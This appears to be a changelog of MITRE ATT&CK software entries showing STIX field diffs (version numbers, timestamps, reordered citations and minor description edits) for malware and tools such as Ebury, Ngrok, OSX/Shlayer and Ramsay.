| external_references[3]['url'] | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf | https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf |
| external_references[4]['source_name'] | ThreatConnect Anthem | FireEye Periscope March 2018 |
| external_references[4]['description'] | ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016. | FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. |
| external_references[4]['url'] | https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/ | https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html |
| external_references[5]['source_name'] | Fidelis Turbo | Novetta-Axiom |
| external_references[5]['description'] | Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016. | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. |
| external_references[5]['url'] | https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf |
| external_references[6]['source_name'] | FireEye Periscope March 2018 | ThreatConnect Anthem |
| external_references[6]['description'] | FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. | ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016. |
| external_references[6]['url'] | https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html | https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/ |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ebury](https://attack.mitre.org/software/S0377) is an SSH b | t | 1 | [Ebury](https://attack.mitre.org/software/S0377) is an SSH b |
| > | ackdoor targeting Linux operating systems. Attackers require | > | ackdoor targeting Linux operating systems. Attackers require | ||
| > | root-level access, which allows them to replace SSH binarie | > | root-level access, which allows them to replace SSH binarie | ||
| > | s (ssh, sshd, ssh-add, etc) or modify a shared library used | > | s (ssh, sshd, ssh-add, etc) or modify a shared library used | ||
| > | by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Cit | > | by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Cit | ||
| > | ation: BleepingComputer Ebury March 2017) | > | ation: BleepingComputer Ebury March 2017)(Citation: ESET Ebu | ||
| > | ry Oct 2017) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:25:38.692000+00:00 | 2021-04-23 22:56:14.591000+00:00 |
| description | [Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017) | [Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017) |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET Ebury Oct 2017', 'description': 'Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.', 'url': 'https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 17:06:41.399000+00:00 | 2021-08-09 14:21:48.477000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:22:06.314000+00:00 | 2021-04-02 00:14:13.954000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 17:08:21.639000+00:00 | 2021-04-14 22:43:50.451000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 20:45:20.126000+00:00 | 2021-04-23 20:01:10.366000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 16:08:00.074000+00:00 | 2021-10-16 01:45:28.826000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'mobile-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:32:08.360000+00:00 | 2022-03-02 15:47:13.329000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:11:27.347000+00:00 | 2020-11-06 15:24:20.400000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:34:33.810000+00:00 | 2020-12-04 21:07:22.870000+00:00 |
| external_references[2]['description'] | The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017) | The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)(Citation: ESET Crutch December 2020) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET Crutch December 2020', 'description': 'Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020.', 'url': 'https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-21 23:09:31.063000+00:00 | 2022-04-11 21:45:35.889000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-04-24 20:32:54.936000+00:00 | 2021-04-23 20:04:19.262000+00:00 |
| external_references[3]['url'] | https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-31 18:01:53.826000+00:00 | 2021-04-23 20:07:01.487000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 00:20:31.733000+00:00 | 2021-11-29 21:48:51.029000+00:00 |
| external_references[2]['description'] | Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. | Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 22:20:17.889000+00:00 | 2021-10-07 16:02:38.320000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 17:45:34.380000+00:00 | 2021-11-29 12:41:28.009000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 21:15:48.610000+00:00 | 2020-12-02 21:20:50.906000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:55:01.985000+00:00 | 2021-10-17 14:35:31.022000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-01 20:55:31.256000+00:00 | 2021-10-12 16:31:13.272000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 18:35:15.941000+00:00 | 2022-01-24 17:01:08.605000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:03:42.864000+00:00 | 2021-10-15 16:57:34.776000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-23 15:19:58.668000+00:00 | 2021-10-14 21:21:51.872000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ngrok](https://attack.mitre.org/software/S0508) is a legiti | t | 1 | [Ngrok](https://attack.mitre.org/software/S0508) is a legiti |
| > | mate reverse proxy tool that can create a secure tunnel to s | > | mate reverse proxy tool that can create a secure tunnel to s | ||
| > | ervers located behind firewalls or on local machines that do | > | ervers located behind firewalls or on local machines that do | ||
| > | not have a public IP. [Ngrok](https://attack.mitre.org/soft | > | not have a public IP. [Ngrok](https://attack.mitre.org/soft | ||
| > | ware/S0508) has been leveraged by threat actors in several c | > | ware/S0508) has been leveraged by threat actors in several c | ||
| > | ampaigns including use for lateral movement and data exfiltr | > | ampaigns including use for lateral movement and data exfiltr | ||
| > | ation.(Citation: Zdnet Ngrok September 2018)(Citation: FireE | > | ation.(Citation: Zdnet Ngrok September 2018)(Citation: FireE | ||
| > | ye Maze May 2020)(Citation: Cyware Ngrok May 2019) | > | ye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: | ||
| > | MalwareBytes LazyScripter Feb 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-29 20:46:04.658000+00:00 | 2022-04-06 19:49:28.441000+00:00 |
| description | [Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019) | [Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021) |
| external_references[2]['source_name'] | FireEye Maze May 2020 | Cyware Ngrok May 2019 |
| external_references[2]['description'] | Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020. | Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims’ systems. Retrieved September 15, 2020. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html | https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44 |
| external_references[3]['source_name'] | Cyware Ngrok May 2019 | MalwareBytes LazyScripter Feb 2021 |
| external_references[3]['description'] | Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims’ systems. Retrieved September 15, 2020. | Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021. |
| external_references[3]['url'] | https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44 | https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye Maze May 2020', 'description': 'Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-04-22 19:06:17.325000+00:00 | 2021-10-07 16:41:18.760000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a | t | 1 | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a |
| > | Trojan designed to install adware on macOS. It was first dis | > | Trojan designed to install adware on macOS that was first di | ||
| > | covered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Ci | > | scovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(C | ||
| > | tation: Intego Shlayer Feb 2018) | > | itation: Intego Shlayer Feb 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:35:57.777000+00:00 | 2021-10-16 20:44:20.719000+00:00 |
| description | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS. It was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018) | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018) |
| external_references[2]['source_name'] | Crossrider | Zshlayer |
| external_references[2]['description'] | (Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018) | (Citation: sentinelone shlayer to zshlayer) |
| external_references[3]['source_name'] | Carbon Black Shlayer Feb 2019 | Crossrider |
| external_references[3]['description'] | Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019. | (Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018) |
| external_references[4]['source_name'] | Intego Shlayer Feb 2018 | Carbon Black Shlayer Feb 2019 |
| external_references[4]['description'] | Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019. | Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019. |
| external_references[4]['url'] | https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/ | https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/ |
| external_references[5]['source_name'] | Intego Shlayer Apr 2018 | Intego Shlayer Feb 2018 |
| external_references[5]['description'] | Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019. | Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019. |
| external_references[5]['url'] | https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/ | https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/ |
| external_references[6]['source_name'] | Malwarebytes Crossrider Apr 2018 | sentinelone shlayer to zshlayer |
| external_references[6]['description'] | Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019. | Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021. |
| external_references[6]['url'] | https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/ | https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/ |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Intego Shlayer Apr 2018', 'description': 'Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019.', 'url': 'https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/'} | |
| external_references | {'source_name': 'Malwarebytes Crossrider Apr 2018', 'description': 'Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/'} | |
| x_mitre_aliases | Zshlayer |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:13:56.470000+00:00 | 2022-04-19 01:33:33.267000+00:00 |
| external_references[1]['source_name'] | Orz | AIRBREAK |
| external_references[1]['description'] | (Citation: Proofpoint Leviathan Oct 2017) | (Citation: FireEye Periscope March 2018) |
| external_references[2]['source_name'] | AIRBREAK | Orz |
| external_references[2]['description'] | (Citation: FireEye Periscope March 2018) | (Citation: Proofpoint Leviathan Oct 2017) |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 03:01:04.725000+00:00 | 2021-06-17 19:03:17.306000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_aliases | ['ping.exe', 'Ping'] | |
| x_mitre_platforms | ['Linux', 'Windows', 'macOS'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2022-04-15 14:14:26.239000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:39:23.582000+00:00 | 2022-04-19 01:42:59.312000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-12 17:37:53.480000+00:00 | 2021-01-22 16:19:40.969000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Janantha Marasinghe'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 19:20:27.565000+00:00 | 2021-06-24 13:47:24.660000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:26:05.875000+00:00 | 2021-09-10 18:59:39.228000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-30 00:39:39.738000+00:00 | 2021-04-13 23:52:18.803000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ramsay](https://attack.mitre.org/software/S0458) is an info | t | 1 | [Ramsay](https://attack.mitre.org/software/S0458) is an info |
| > | rmation stealing malware framework designed to collect and e | > | rmation stealing malware framework designed to collect and e | ||
| > | xfiltrate sensitive documents, potentially from air-gapped s | > | xfiltrate sensitive documents, including from air-gapped sys | ||
| > | ystems. Researchers have identified overlaps between [Ramsay | > | tems. Researchers have identified overlaps between [Ramsay]( | ||
| > | ](https://attack.mitre.org/software/S0458) and the [Darkhote | > | https://attack.mitre.org/software/S0458) and the [Darkhotel] | ||
| > | l](https://attack.mitre.org/groups/G0012)-associated Retro m | > | (https://attack.mitre.org/groups/G0012)-associated Retro mal | ||
| > | alware.(Citation: Eset Ramsay May 2020) | > | ware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT R | ||
